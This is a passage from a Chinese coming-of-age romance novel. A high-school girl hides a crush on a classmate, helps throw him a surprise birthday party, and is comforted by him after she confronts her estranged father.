她在心中猜测,沈佳雪既然敢问,那肯定是发现了什么,至少会有八成把握在。
她瞒不住的。
这种秘密被发现的感觉属实不妙。温窈的心跳如鼓,砰砰砰——快速撞击着她的胸膛,她毫不怀疑此刻自己的心率可以高达一百二。
两人静默站着,还是温窈选择打破了僵局。
“怎么看出来的?”她问。
“目光。”沈佳雪解释着:“一个人喜欢另一个人的目光是可以看出来的。”
沈佳雪笑笑:“但你隐藏的很好。如果不是上次对峙时,你露了马脚,我也不会心中起疑。”她打量了一番,道.:“不过,看你脸上的神色,陈翊南不知道?”
温窈摇头。
“……暗恋啊。”沈佳雪唏噓一声。
是啊,暗恋啊。
是“我喜欢你”,只有我自己知道。是你走出了一步,我便跟了百步。
她希望陈翊南不要知道,或者,暂时不要知道。
至少,再等等,再等一下她。
_
温窈难得在放学回家后直接躺倒在了床上。一直压在头顶的期末考终于结束,她如释重负,大有没人叫她,她就能躺到地老天荒的架势。
但,事与愿违。
躺了没多久,陆文慧就在门外叫她。
“窈窈,你弟弟的兴趣班快到放学时间了,你去接一下他。我一会回公司加班,晚上回不早。”
温窈应了句,很快,就听见陆文慧出门的声音。她认命般的爬起身,拿好钥匙出了门。
赵思诚和陆文慧两个人,一个不是为了生意几乎月月出差,一个就是在公司与家之间来回奔波。常常见到这个人影,就见不到那个人影。
为培养赵景旭的兴趣爱好,陆文慧给他报了个吉他班。温窈左手提着赵景旭的吉他包,右手领着他的手。
路过一家超市时,赵景旭却忽地挣脱开她的手,直直跑了进去。
温窈一惊,忙伸手捉他,衣角在她手里轻飘飘滑过。
“赵景旭!”她喊道。
温窈无奈之下,跟着进了超市。她看到赵景旭正蹲在一个小汽车模型玩具前,伸手摸了摸。
她问:“想要这个汽车?”
赵景旭抬起头,眨着水灵灵地眼睛望向她。随即,小脑袋迅速又认真地点了。
温窈看了眼价格,在自己能接受的范围内。
“我可以给你买,但我有一个条件。”
温窈蹲下身,与赵景旭身高齐平。见身前的小人并没有反驳,她接着问道:“今晚回家后,我说的话你都要好好听,好好做。”
赵景旭点了点头,开心地拿起小汽车模型去结账。
收银台旁边的矮架子上,挂的有一长串一长串的棒棒糖,五彩缤纷,各种口味都有。
赵景旭在经过这里时,看着温窈指了指:“我想吃糖。”
温窈直接回道:“吃糖坏牙。”
“我就要吃。”赵景旭紧紧攥着她的衣角,眼眶泛起红意。
温窈真是怕了他了,她妥协道:“只能买一个。”
赵景旭又乖巧地点了点头。
温窈心中无言半晌,她伸手去拽棒棒糖,指尖在葡萄味上一滑而过。最终,她撕下了一袋草莓味棒棒糖。
有吃有玩后的赵景旭终于心满意足,听话的很,回去路上再没有发生令她头疼的事情。
_
考试是十六号结束的,成绩是十八号出的,连带着年级排名。
一中期末结束后并没有当天放假,而是规定各年级在成绩排名出来后,再安排暑期事端,相当于放假延迟了三天。
对于高二高三的老生来说,这件事情已经习以为常。
林见月当时听见通知时还有些不可思议,试都考完了,怎么还上课?好在,大家很快就接受了这个现实。
一中嘛,当地顶尖高中,它就是要“别具一格”。
“我要上告中央!还我假期时长!”
此刻,林见月正小声哭诉。
温窈在一旁安慰:“没事,今天就会出成绩,明天就放假了。”
江枫今天话倒是反常的少,虞眠注意到了这个情况。她看着他在桌下抖动的腿,笑道:“江枫,你不会是紧张了吧?”
江枫立时反驳:“怎么可能?!”
虞眠笑笑不语。
熟悉的高跟鞋“哒哒”声在走廊响起,方媛拿着张白纸走进教室。
她出现在门口的那一刻,瞬息之间,教室内就恢复了安静,时间仿佛在此刻停滞。
方媛站在讲台上,咳了两声,说道:“这是这次的期末考试成绩。总体来说,表现不错。有人进步,有人退步。进步的不要骄傲,退步的趁假期时间查漏补缺。然后——”
有人问了句:“方姐,可以放暑假了是吗?”
方媛佯装怒道:“我这课还没上完呢,就天天想着放假了是吧。”接着,话音一转,“来,我说一下,放假事项。”
台下一片吁声。
温窈和另一个课代表配合着将已经分好的语文试卷发到大家手里。
“这些就是暑假需要完成的作业。刚才说的注意事项,都记住了没?”方媛用黑板擦敲了敲黑板,朝着台下喊道。
“记住啦!”
一向凶巴巴的脸上,难得出现了点笑容,“那最后,祝大家假期愉快。”
方媛走后,江枫就冲到了讲台上,他拿起成绩单看了看。这一看,就激动坏了。
班级排名31,他第一次没在倒数后十名里面。
江父曾在考试前下了命令,如果这次还是倒数,那他暑假的零花钱就没有了。零花钱保住了,他顺便帮温窈三人看了眼成绩,美滋滋地回到座位。
“说吧,我这次成绩怎么样?”林见月焦急问道。
江枫抬眸说了个数字。
林见月呼出一口气,“还好还好。”
江枫笑着转身,对着虞眠和温窈招了招手,“想不想知道你俩成绩?”
不等温窈开口问,教室前面就隐约有声音传了过来。
“郑一桐这次竟然不是第一了?”
“真假,不可能吧,我看看。”
“……”
郑一桐自分科以来,便次次考试高居第一位,巍然不动。<
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温窈一时愣在座位上。
如果郑一桐不是这次第一?那是不是……
有一个大胆的猜测在她心底冒了出来。
直到江枫的声音响起,把她拉回现实。
“温大课代表,这次你可不得了啊。”江枫眼看着要瞒不住,便直接开口了,声音中颇为自豪。
“不仅是文科班第一名,更是全年级第二名!”
林见月睁大双眼,惊讶道:“要知道理科班那些人多变态啊,次次年级前三都是他们的。这次好了,年级第二被咱们窈儿承包了。”
虞眠也笑道:“温窈,恭喜你。”
温窈脑子一片空白,此时此刻还像做梦一样。她用右手使劲掐了掐自己左胳膊上肉,一阵钻心的疼痛传来。
是真的,她没有在做梦。
她真的考到了文科年级第一!
所有的努力都没有白费,日日夜夜的苦读为她带来了一份满意答卷。
身为答卷人的她,在这一刻,第一个想要将喜悦分享出去的人竟不是母亲,而是他。
她深知在高一这下半学期里,他帮助了自己多少。
温窈趁没有人注意,悄悄用纸巾擦了擦泛起水花的眼角。
明日就要放暑假了,江枫提议今日放学后去吃火锅。
一是为了感谢两位小老师对他功课的辅导与督促;二是为了庆祝每个人在这次期末中都有了不同层次的进步。当然,陈翊南除外,他已经进无可进了。
江枫挑了家他和陈翊南曾经吃过的老火锅店,味道不错,肉也很鲜。就是路稍微有些些远,几人步行了十五分钟后,才到达了店内。
放周末时,这家店往往火爆到要排队。但今天是周一,店内没有几桌人。
五个人围着个方桌坐下,两个男生坐在了外面。
锅中的水咕咚咕咚冒着泡,火锅的热气扑面而来,空调吹来的凉风中夹杂着麻辣香气。
江枫站起身给温窈三人捞肉,陈翊南在此时起身,说:“我去一趟卫生间。”
见陈翊南上了楼,江枫忽地小声开口:“下个月就是陈翊南生日了,你们来不来?”
“南哥生日?什么时候啊?”林见月放下筷子问。
“八月五日,正好是个周五。”
林见月想了想,回:“可以啊,我没问题。”
江枫目光转向虞眠,身旁人缓缓开口:“我应该也没什么事。”
“窈儿,你去不去?”
三人等着她开口,温窈犹豫说道:“有空的话,我会去。”
陈翊南的生日原来是在八月五日,她默默记在了心里。
“那这几天有空,咱们商讨一下怎么给他过。”
虞眠疑惑:“陈翊南不是在群里?”
江枫敲了她脑袋一下,笑道:“你傻啊同桌,我再建个小群。”
他将手指竖在唇前,“嘘,都保密,别露馅。”
说完没一会儿,陈翊南便从楼上走了下来。他坐回到温窈身边,见她正看着自己,不由得轻轻歪头问道:“怎么了?”
温窈睫羽眨了眨,她心中记得江枫刚嘱咐的话,可不能露馅。
于是,一双浸染笑意的眼睛在此时看向了身旁人,她咳了声,轻声说道:“陈翊南,谢谢你。”
多亏有你,我才能在期末中取的如此好的成绩。
20. chapter20
“生活不会亏待一个心中有光,努力奔跑的人。我知他能攀上顶峰,靠的不只是天赋异凛。许多人将他神化,然而,他也不过是一个一直有在努力奔跑的平凡人而已。”
——《我与y》
整个七月份,四人都将陈翊南的生日惊喜瞒的严严实实。
等进了八月份后,江枫便建了一个小群,群名被他起为“公主生日计划”。
群里除了陈翊南,其他人都在。
林见月看着群名直乐,当即发出去一句:你就不怕南哥知道后踹你?
江枫颇为嚣张。
江枫:我能怕他?
虞眠:截图了。
江枫:错了。
温窈在屏幕前微微一笑,她想了想,发出去一句话:有什么计划吗?@枫叶的枫
江枫:我是这样打算的。温窈先找个借口把陈翊南约出来,然后把他带进我预订好的那家饭店,我们仨就负责屋里的布置。
江枫:你们觉得怎么样?
虞眠:没问题。
林见月:我也没问题。但是,为什么安排温窈约南哥?
江枫:这你就不懂了吧。一方面,温窈离陈翊南住的地方近;另一方面,陈翊南那么精,如果我去,他肯定不上当啊。
林见月:啊、南哥住哪啊?
江枫:他啊,目前住在外婆家,他外婆家就在明月湾。
林见月:明月湾?!就那个老别墅区?
温窈看着名字眼熟,她蓦地想起自己曾经在地图上搜索过的区域。明月湾?那不就是和她家隔了一条街道的别墅区?
她与陈翊南竟然离得这么近。
就在温窈走神的功夫里,江枫又发了好几条。
江枫:你们不知道?陈翊南的外婆外公都很有名的。之前学校贴吧里热度很高的那个帖子,讲的就是陈翊南。
江枫:他爸爸经商,所以,一直想要他以后从事金融行业,好接手公司。
林见月:等等,你是说主人公来自书香门第,外婆是北淮人民医院的专家医生,外公是当地赫赫有名的老教师。这条帖子?
江枫:对,就是这个帖子。
温窈没接着往下翻聊天记录,她没刷到过那条帖子,今天也是头一次知道陈翊南的家世。
仔细想来,陈翊南的确像是书香门第教育出来的孩子。人品好,教养好。无论是对人还是对事,永远都是那么的游刃有余。
不怪学校里有不少人喜欢他,这样的人,到哪里都是一颗焕发光彩的珍珠。“天之骄子”这四个字简直就是为他量身打造。
身旁的手机震动了下,是江枫在群里@她,问她去约陈翊南可不可以。
温窈回复完后,便开始思考该用什么理由约陈翊南比较合适。
约他去图书馆学习?
不行不行,意图有点太明显了些。
温窈在床上翻了个身,一眼就看到了书架上那本熟悉的绿皮书。
有了。
上次陈翊南帮她在拾华书店借的《病隙碎笔》,她还没来得及还回去。
由于学业原因,从这本书借回来后,她就一直在断断续续地阅读,前不久才刚看完整本。
温窈起身下床,从书架上抽出了那本书检查了下。封皮、书面和她刚借到手里时的样子没有差别,她一直有在好好爱护。
将书重新放回书架后,她拿起手机找到陈翊南的聊天界面,手指在屏幕上打打删删。最后,将编辑好的信息发了过去。
温y:我突然想起来那本《病隙碎笔》还没有还给孟阿姨。想问一下上次去书店的路怎么走,我有些记不清了。
陈翊南那边应该在忙,没有立即回复。等过了十分钟左右,才有信息发了过来。
Cyn:你打算什么时候去还?
温y:明天下午。
Cyn:明天下午我有空。这样,明天我直接带你去书店。书店位置在小巷,确实是不太好找。
温y:可以嘛?又要麻烦你了,明天我一定好好记路。
Cyn:没事。你定时间地点,我一会可能来不及看手机,你发我就好。
温y:好。
编辑好信息发过去后,她知道对面估计没时间回,索性将手机扔回了床上。
窗户上倒映着温窈的身影,她坐在桌前正捂着脸平复心情。说谎会使人脸红,尤其对象还是陈翊南,她能清楚感觉到自己脸颊的滚烫。
台灯旁放着一个被墨绿色的纸包装好的礼盒,这是明天温窈准备送给陈翊南的生日礼物。
不是很贵重的东西,是她在陶瓷店亲手做的一个蓝色陶瓷杯。杯柄内侧,有一串浅黄色的数字,不仔细看的话,一般不会被人注意到。
这串数字是温窈怀着私心写上去的,是她的小秘密。
2008.06.05
芒种,在鸣溪初见他的那一日。
_
隔天一早,太阳刚从地平线上露出三分之二,橘黄色的晨光暖暖地洒在温窈书桌上。
她醒了有一小段时间了。许是今天可以见到陈翊南,她的精神有些兴奋。
温窈刷了两套试卷,这才得以消磨完上午的时间。群里那三人,已经出门去采购东西了。
吃午饭时,她和陆文慧说了下,一会要出门的事情。
陆文慧只是问了下她去找谁。
温窈在心中默默说了句抱歉,随即便把林见月拉出来挡枪,“我去找林见月。就是我同桌,她有题想问我,叫我去她家学习,晚饭估计也不回来吃了。”
陆文慧对林见月有印象,也没多怀疑什么,很快就点了点头同意了。
钟表时针指向了四点,温窈将礼物和书籍放在了一个纸袋里,又对着镜子梳了梳自己耳朵边翘起来的头发,这才走出了门。
北淮八月份的天气十分燥热,即便是下午四五点钟,空气中也没有丝丝凉意。
她不想穿长裤,便选了一条水蓝色长裙。颜色很清新,还是束腰款式,有半截白色蕾丝边斜斜搭在腰侧。
和陈翊南约定的时间是五点半,温窈看了眼手上的表。时间还来得及,她步行朝明月湾所在的那条路赶去。
两人约定的地点是明月湾那条路的十字路口东边第一棵树下。等温窈走到那个十字路口,远远就看见了梧桐树下的那道熟悉的挺拔身影。
陈翊南今天穿了件黑色短t,上面没有什么复杂的图案,他正低头把玩手机。
温窈以为自己迟到了,连忙抬腕又看了眼时间。表盘上清晰显示着还有十二分钟才到五点半,陈翊南竟然来得这样早。
三十秒的时间过去后,红灯转变成了绿灯。温窈加快步伐穿过马路,小跑到了第一棵梧桐树下。
“不好意思,我迟到了。”
温和的声音在陈翊南身前响起,一双白色板鞋映入眼帘,他轻轻抬眸,看到是温窈后,便笑了笑:“没有,是我来的太早了。”
他垂目看见了温窈手里提的袋子,主动说道:“袋子给我吧,我帮你提。”
听到这个,温窈下意识迅速将袋子往身后一藏,接连摆手,“没事没事,不沉的,我自己拿就行。”
她殊不知,自己这个动作在颇像干了什么坏事。
陈翊南眉头一挑,纵然心中起疑也没多问什么。
“走吗?”
他刚说完转身,就一下子被温窈揪住了衣角。
“等等。”温窈顿了下,脑子飞速运转想理由,“能不能……你能不能先陪我去趟超市?”
“可以,巷子里正好有超市,我带你去。”
“不行!”温窈突然大声说道。
陈翊南直直望
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向她,看的她心里直打怵。
在意识到自己声音有些大了后,温窈咳了两声缓解紧张,她接着编:“我想去那个……我经常去的超市。”
“嗯?在哪?”
温窈头一低眼一闭,破罐子破摔般的说:“你不认识,我带你去吧。”
用这样蹩脚的理由,她成功把陈翊南拐到了饭店所在的路上。趁等红绿灯的间隙,她偷摸出手机在群里发了条消息。
温y:我和陈翊南快到了。
江枫秒回:收到,我们马上布置完毕!
陈翊南在身旁站着,眼睛看着车流方向,似乎完全没注意到温窈这边的动静。她放下心来,又偷摸地将手机塞回了口袋。
待灯光变换后,两人接着朝前走去。走了大概三分钟,温窈就停住了脚步。
“到了。”她说。
陈翊南侧眸一看,笑问:“不是说,去超市?”
温窈摸了摸鼻子,小声道:“进去看看就知道了。”
尽管他心中疑窦丛生,但还是跟在温窈身后走了进去。
温窈停在门牌号为215的门前,她拧下把手推开门,率先走了进去。窗帘被拉的严严实实,屋内一片漆黑,伸手不见五指。
陈翊南双手揣在口袋里,他想了想,还是走进了门。他的脚刚踏入屋内,身后的门便发出“啪嗒”一声轻响阖上了。
刹那间,灯光一下子亮起,刺得他微微眯眼。接着,便是两个礼花筒在他身侧炸响。
彩色亮片纸漫天飞舞,四人一齐喊道:“生日快乐!”
陈翊南睁开眼,正式打量了一下屋内。两边墙上粘的有气球,一个画了篮球的蛋糕被放置在桌子中央。
他眼角的泪痣轻轻晃动了下,不由得失笑:“费这么大劲,原来在这等我呢。”
江枫凑过来,笑嘻嘻道:“嗐,和温窈把你骗过来比,我们布置这些才不费劲。”
“我说你今晚看起来怎么有些奇怪。”陈翊南眼含笑意望向温窈。
温窈的手指蜷了蜷,在演戏方面,她果真没有天赋。
她提起纸袋,从里面拿出绿色礼盒递到陈翊南身前。
温窈杏眼弯弯,认真说道:
“这是送给你的礼物,希望你喜欢。”
“哎哎对,我们也有。”被这么一提醒,江枫瞬间回神。他转身走到桌边,抱起三个礼物盒。
趁混乱的间隙,陈翊南伸手接过了温窈手中的礼物。绿色礼盒拿在手中有点分量,他不禁问了句:“很贵重吗?太贵重的礼物我不能收。”
温窈登时摆手,“没有没有,没有多少钱。”
江枫在一旁接话:“知道你不收贵重礼物,我们几个人的礼物都不值多少钱。全是心意,都在里面了。”他一股脑将怀里的礼物盒塞给了陈翊南。
陈翊南抱着礼物,无奈笑道:“那,先谢谢你们的心意了。”
未成年人不能饮酒,几人点的都是饮料。等菜上齐后,天已经完全黑透,林见月提议共同举杯庆祝南哥生日。
温窈举起玻璃杯,喝了口橙汁后,便随手将杯子放在了右手边。盘子里有块鸡肉,她夹起放进嘴里,并没有注意到鸡肉上粘的辣椒段。
没等她嚼两口,一股辣味从舌尖蔓延,瞬间点燃了整个口腔。
温窈一面忍住嗓子眼的辣意,一边头也没抬地从右手边捞过来一个杯子。冰凉的橙汁入嗓,辣意才慢慢平复了下来。
她将杯子往桌子上一放,只一抬头,便愣住了。
在她筷子旁边,有一个盛着橙汁的杯子好端端地放在桌上。
那才是她的杯子。
所以,她手里的这杯是……
陈翊南的?!
想到这里,温窈眼睫惊得一颤,脸颊瞬间攀上红晕。
她和陈翊南间接……接吻了?
21. chapter21
“你听说过八秒法则吗?初遇时两个人对视不足一秒,那两人之间便毫无火花,两秒则是心生好感,三秒可能心生爱慕。如果两个人对视超过八秒,那就是——坠入爱河。”
——《我与y》
玻璃杯子被温窈拿在手中,她有些怔愣地坐在位置上。
身旁传来两声轻咳,令她瞬间回神。
温窈稍一偏头,便注意到了陈翊南的目光,他正看着自己和……手中的杯子。
“抱歉,我不小心拿错了杯子。”她赶紧小声解释道:“我这就给你换一个新的。”
温窈拿起左边桌上空闲的杯子,用热水烫了一遍后,又斟上了新橙汁。
桌上热热闹闹的,江枫在和虞眠讲趣事,林见月正搁两人旁边吃边听,并没有人注意到温窈这边的动静。
她将杯子递了过去,脸上温度烫的惊人。
陈翊南伸手接过,弯唇说了声没关系。
拿杯子的间隙,两人指尖肌肤相撞,冰凉的触感令温窈心尖颤了又颤。
似有北海道的细雪落于指尖,心口,旋即消弭无形。温度开始缓缓回升了,但凉意残留着一丝又一丝,分不清是在指尖,还是心口。
两人左右挨坐着,一时静默不语。
江枫磕着瓜子,正听到好玩的事大笑着,目光不经意间往两人这边一扫,便愣住了。
是他看错了还是眼花了?
他怎么瞧着陈翊南在刚那一瞬间,眼底似乎有笑意一闪而过。笑意太淡了,他有些不敢确定。
再看陈翊南身旁的温窈,低着头在一旁,眼眶红红的。
怎么看都像被欺负了的样子。
好小子,竟然敢欺负他窈妹妹!
他越想越不对劲,正准备挪屁股坐过去斥责,温窈就忽地站起了身,室内一静,她扔下一句“去一下洗手间”,便走了出去,带上门时的脚步有些许慌乱。
温窈走出包间门,才缓缓呼出了一口气,肩膀也随之放松了下来。一想到刚才干了什么,她便恨不得找个地缝钻进去。
屋内。
林见月大大咧咧地没注意到温窈异常,只当是她真的要去洗手间,倒是虞眠望着门口若有所思。
江枫的屁股已经从虞眠身侧平移到了陈翊南的右边,他假意咳了两声,严肃道:“陈翊南,你是不是欺负我窈妹妹了?”
陈翊南眉头一挑,“什么时候是你窈妹妹了?”
“温窈和虞眠可是把我期末成绩拉高了一大截,要不是她俩,我现在可能还在上那苦逼暑假班,我爸哪能放我出来潇洒自在。她俩简直就是我的再生恩师,再说了,窈妹妹这称呼多亲切啊。”
说完,他就意识到了什么,“话说回来,你是不逃避我话题呢?”
回过神来的江枫催促道:“快说!你把我窈妹妹怎么了?”
“你倒是成绩提高了,连带着智商也高了些。”陈翊南提起茶壶,手腕微压,橙红色的茶汤从壶中流出,撞在杯壁上发出轻响,他在想该怎么开口。
总不好说,自己看到了温窈因吃辣呛到误喝了自己杯中的橙汁,然后和她对上了目光。
他微微抿了口茶水,随便找了一个借口搪塞了过去。
江枫瞅了瞅陈翊南,见身前人对上自己目光毫不慌乱,话语间也不容置疑,便信了他的话。
陈翊南淡笑着放下水杯,说了声:“我也去趟洗手间。”
_
温窈从包间出来,找服务员问了下洗手间的位置后,朝二楼走廊尽头走去。
她洒了些凉水在自己两侧脸颊,看镜中人的肤色已经没有那么红润后才抽出纸巾擦干了手。
这洗手间的大镜子是正对着这条走廊,洗手间门框上遮挡的布帘已经被撩了上去。
温窈侧身扔纸巾的间隙,廊道内的一扇门发出“吱呀”一声轻响,有个包间门被打开了。
从门内窜出一个小男孩,蹦蹦跳跳地在走廊站定,朝后喊了声:“快点呀,爸爸!”
随即,便有一个女人挎着男人胳膊走了出来,她环在他胳膊上的手轻轻松开,男人抱起男孩,笑道:“来了。”
温窈僵硬地站着,眼睛直直望向镜子里的人,意识陷入回忆。
与极度惊讶而伴的,更多的是怔愣。
已经有二三年没见过面的人,就这样一下子出现在了自己眼前。岁月似乎没在他脸上留下什么痕迹,一如既往地似她回忆中那般模样。
她的父亲,她的亲生父亲。
温方林并没有注意到走廊尽头的温窈,他携着妻儿朝楼下走去。
温窈足足怔了半晌,犹豫间,她终于下定决心,快步追了上去。
在她从走廊路过215时,215的房门恰好打开,陈翊南一眼就捕捉到了匆匆而去的熟悉身影。
“爸!”温窈走下楼梯,赶在温方林上车前大喊了声。
由于怕追不上,她跑的很快,此刻呼吸乱了套,她轻轻喘气平复。
温方林刚替儿子将车门关好,便听到了身后传来的一声呼唤。
他回头,看见来人惊讶道:“温窈?”
温窈只是站着,并没有上前。她看到温方林身旁的女人脸色变得有些难看,偏过头和温方林说了几句话。
温方林拍拍她的手,安慰道:“没事,就是聊几句,你先上车。”
女人没多说什么,但被关上的车门发出“砰”一声巨响,暴露了她心中的愤慨。
温方林朝温窈这边走近了几步,他笑问:“阿窈,你怎么也在这?”
“别叫我阿窈。”温窈冷冷道。
两人之间的气氛安静一瞬。
“为什么不告而别?”她眼底泛起红意,伸手指了指车,“为什么要出轨,就因为我是个女孩吗?”
当年她从学校回到家,温方林就已经离开了,只留下屋内的满地狼藉和正坐在沙发上捂脸痛哭的女人。
陆文慧向来将自己打扮的一丝不苟,严肃又整洁。那天却是头发散乱,脸上挂满泪痕。
她记得清楚,那日黄昏,半边天空火烧般漾满了似橙似彤的云霞,霞映落日,暮色温柔,美的似在梦里漂浮。
美梦单薄,冷冰冰的话一击即碎。
陆文慧对她说:“温窈,你爸出轨不要你了。”
她呆呆地坐在地上,背着还未卸下的书包,直直坐到了夜幕降临。
窗外,华灯初上,窗内,是她麻木的心。
自此,黄昏晚霞虽美,在她心里,却也不过转瞬即逝。
温方林搓搓手,
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解释着:“不告而别是怕你见到我更伤心。你岁数小,不明白爸爸的难处。我和你妈离婚,不单单只是一个原因。”
“是怕我伤心还是怕见到我。爸,你心里应该比我更清楚吧。”温窈苦笑了声,“我岁数小?可我已经初二了啊爸,我不是三岁小孩,分不清黑白,辨不明事理。”
“你口口声声说难处,你有难处,可这难道就是你可以出轨的借口吗?”
“因为他吗?”
可笑的是,车里的男孩都已经有五六岁的年纪,温方林与陆文慧在她初二那年离婚,照这样算的话,岂不是温方林早在她小学时就已经出轨了?
温窈自嘲一笑,当初温方林对她的温情,如今想来都令她恶心的想吐。
“你知不知道!你知不知道,你做出的事情,你们轻飘飘的一句离……”说到最后,她哽咽失声。
一滴泪在温窈眼角滑落,洇湿了枣红色地砖。
两人轻飘飘的离婚,她没有家了啊。
成年人的任性,凭什么要让她来买单?她不过是十三四岁的年纪,明明可以拥有幸福的家庭,明明可以享受美满的生活。
秉着要为爸妈脸上争光的目的,她努力知足奋进,在学校里表现优异,年年都是三好学生,成绩更是没有掉出过年级前十。到头来,也不过是她自导自演罢了。
有谁在意过她啊。
就连如今的重组家庭,她都觉得自己像是个客人。她已经放弃了融入的想法,她纯粹将如今的家里当作了自己单纯睡觉的场地。
温方林从口袋抽出张纸巾,递了过来。他转头看了眼车里,劝道:“行了,别哭了。过去的事就让它过去吧,你和你母亲现在过得不是还不错,就不要执着于过去了。”
女人见他望过来,忙和他招手,催促他离开。
他拿出手机看了眼时间,开口道:“之前的事,爸爸在这里和你说声抱歉。这纸巾你拿着擦擦脸,”他将纸巾塞进了温窈手里,“我看时间也不早了,我先走了。”
说罢,头也没回地开车离开了,只留下难闻的汽车尾气在空中飘散。
温窈哭到脱力,她缓缓蹲下身,泪眼朦胧地望着手里的纸巾。忽地,她将纸巾团成一团,猛地扔了出去。
皱巴巴的纸巾球,在地上滚了几圈,滚远了。
她蹲在阴影里,捂住脸小声抽噎。她自认为自己不是一个容易情绪失控的人,但在今天,在今晚,就容她放肆一回。
温窈直哭到腿都蹲麻了,才慢慢起身。她擦了擦挂在脸颊上的眼泪,风一吹,泪痕便干了,没有留下什么痕迹。看起来,也只不过是眼眶红红的。
不能离开太长时间,要不然虞眠她们会起疑。温窈站在原地稍缓了缓,顶着腿上残留的麻意,她弯腰捡起不远处的纸巾球,将它放进了垃圾桶。
路边的大灯,在此刻同时亮起。
温窈嘴角扯出一抹笑容,她朝前走去,刚抬脚便愣住了。
男生正站在路灯下,与她隔着两个灯柱的距离。黄澄澄的灯光打在他的头顶,将他发丝晕染成了金黄色。
陈翊南静静望着她。
刚被风吹干的眼角,忽地又落下一行泪。
温窈哑着嗓音开口:“陈翊南,我想吃葡萄味棒棒糖。”
22. chapter22
“世界上所有的川流,最后总会聚集在一起,似乎离别的尽头总是重逢。不过,我大概是最特殊的一条内陆河流,满地荒芜,我干涸在了寻找绿洲的路上。”
——《我与y》
月色低沉,夏风枯燥。
路灯下,有两人正坐在路边木制长椅上。
温窈掌心安静躺着一个珍宝珠的葡萄味棒棒糖,紫色糖衣,顶端是大大的黄色品牌Logo。
温窈将糖衣撕开,还没放进嘴里便闻到了香甜的气息。她一抬胳膊将它放进了嘴里,清爽的葡萄果汁味在口腔炸开,酸酸甜甜的味道令她的心情好了许多。
这个时间点,路上没有多少行人。只有晚风偶尔吹过树梢,带来些许沙沙声响。
“今晚的事……”她犹豫着开口。
“我看到了,抱歉。”陈翊南心里清楚她想问的是什么,他静默片刻,解释道:“我出门的时候恰巧看见你在走廊跑过,看你神色有些焦急,以为出了什么事,便跟来了。你放心,我离得远,没有听到什么。”
耳畔传来的声音,光是听着就能感觉到无比温暖,温柔的气息从侧面慢慢将她包围。
温窈嘴里咬着棒棒糖,她轻轻扯起唇角,再开口时嗓音里带着浓浓歉意,“你道什么歉,该抱歉的明明是我,在你生日这天,这么快乐的日子里,让你看到了这些不好的事情。”
“温窈。”
“嗯?”
陈翊南突然叫她,她偏头看去。
“不开心的话,就不要勉强自己笑了。”他顿了下,“放心,这里不会有你认识的人出现。”
温窈眸色闪烁,他似乎总是能轻而易举地看透她的伪装。书上说,眼睛是心灵的窗户,有时目光交错瞬间,她总会害怕深藏心底的秘密被他发现。
相面知微,大概就是如此。
温窈紧绷着的肩膀渐渐放松下来,她用力将棒棒糖咬碎,口腔里发出一阵“咯吱”轻响。
“和你讲一个故事吧。”她忽然开口道。
“好。”
昏黄的路灯,静谧的夜,因少了行人往来,而显得有些萧瑟的路,直直蔓延到黑暗尽头。
陈翊南安静听着坐在他身旁的女孩娓娓道来。她声音清软,因刚哭过的原因,还带着点哑,像是夏夜极尽缠绵的晚风,环绕在他指尖,一圈又一圈。
“我有一个朋友,她在初二那年的某天,被班主任一个电话招呼回了家。因为某些事和人,那天她真的真的很开心,她觉得自己是这世界上最幸运的人。”
讲到这,温窈手指不自觉收紧,她悄悄用余光扫了眼身旁。可惜的是,陈翊南脸上并没有什么特殊反应。
“不过,幸福的时光美好又短暂。在那天,她回到家后,看到了一地狼藉,玻璃碎片满地。她的母亲哭着对她讲述了父亲出轨的事情。最开始时,她是不信的,平时疼爱自己的父亲怎么会出轨?现实却给了她一个响亮的耳光,让她不得不清醒。”
“自那以后,母亲性情大变,看向她的目光更是越来越漠视。她为爸妈的爱努力过,奋斗过。然而,如今已经学会了不再在意他人的目光。”
“她只有自己了。”
温窈苦涩笑笑,这是她第一次和别人分享自己的故事,她习惯了自己憋在心里。曾经这些深埋心底,难堪的,痛苦的过去,今天不知怎的,下意识就说了出来。一直堵在心口的大石,仿佛被人挪开了几分。
或许,是她知道,身旁人永远都是一位合格的聆听者。
陈翊南安静了好一会,他捏了捏手上的易拉罐,浅笑道:“按正常的逻辑来讲,这个朋友或许真的是你朋友。”
“不过,在经历了一些事情后,我知道,你说的是你自己。”他一语点破。
温窈抬头,看见陈翊南垂眸望着自己。漆黑眼眸在灯光下,是透亮的,湿漉的。该去如何形容这双眼睛呢?
像飞鸟掠过湖面的涟漪。
温窈心情已经好了很多,她唇角微弯,起了玩笑的心思,“学神就是学神,脑子转的就是快啊。”
陈翊南挑眉,“那文科第一也不赖啊,蒙我的话一套接一套的,跟解九连环一样。”
温窈知道他说的是自己找借口把他拐来的事情,不由得笑弯了眼眸。
他接着说:“温窈,每个人的背后或多或少都有令自己无可奈何的事情。有时错不在我们,所以不必怀疑自我。过去的事情木已成舟,与其停留在过去,不如看向未来。”
“……未来。”
“你看那里。”陈翊南抬起胳膊指向夜幕。
西南方向的天幕之上,悬挂着一颗极其明亮的星星。
“那是长庚星,夜空中最亮的星。我相信温窈同学的未来,定如它一般璀璨明亮,也祝你可以成为自己心中那颗最亮的星。”
少年语气真挚,让她怔愣了好一会儿。
温窈望着陈翊南利落沉稳的侧脸轮廓,漫天繁星下,她的脑海里忽地浮现出一句话:
若世界是个巨大谎言,那你是我唯一真谛。
_
“刚才有句话你说的不对,”陈翊南收回手,轻轻笑道:“如今你并不是只有自己,除了家人,你还有朋友。”
温窈垂眸,漆黑纤长的睫毛轻轻颤动,手里的糖被她啃了一半。
“这葡萄味棒棒糖,是我爸经常给我买的。小时候,只要我哭闹,手里就会被他塞一根葡萄味棒棒糖,久而久之便喜欢上了它的味道。不过,在他离开后,我已经很久没吃过了。”
“今天,谢谢你的款待。”她拿着糖棍晃了晃,“你说的对,从今往后,我也可以自己给自己买葡萄味棒棒糖了。”
“是啊,你的生活中又何止只有葡萄这一种味道。”陈翊南站起身,从口袋里拿出一个东西递了过去。
他手心朝上,缓缓张开手掌。温窈看到,一根西瓜味棒棒糖静静躺在他掌心。
“这是……”她怔了下。
“尝尝?”
低沉的嗓音颇具有蛊惑性。
温窈瞬间明白了陈翊南的意思,她浅笑着拿起,剥开薄薄的糖衣放进嘴里。
生活不只有葡萄味,还有西瓜味。
不要害怕,换个口味,也是甜的。
陈翊南的生日会结束的时间不是很晚,八点左右就散场了。江枫三人不住在附近,选择了坐公交车回去。
